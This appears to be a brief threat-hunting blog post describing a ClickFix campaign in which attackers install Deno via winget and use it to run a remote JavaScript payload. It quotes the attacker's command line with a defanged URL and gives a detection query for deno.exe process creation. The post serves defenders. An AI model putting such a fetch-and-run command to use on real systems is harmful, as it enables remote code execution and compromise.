412. Threat Actors Abuse Deno to Run Remote JavaScript Payloads

Hello everyone!

Today, we’ll talk about JavaScript (T1059.007) and how attackers abuse a legitimate runtime.

As part of another ClickFix campaign, the attackers used some pretty interesting techniques. First, they used winget.exe to download and install the Deno runtime. Second, they used Deno to execute a malicious payload from a remote server controlled by the attackers:

deno.exe run -A hxxp://webstizkgao[.]com/v020def066f14754be9.js

So, it looks like Deno could be a great hunting target:

event_type: "processcreatewin"

AND

proc_file_originalfilename: "deno.exe"

AND

cmdline: "run"

See you soon!

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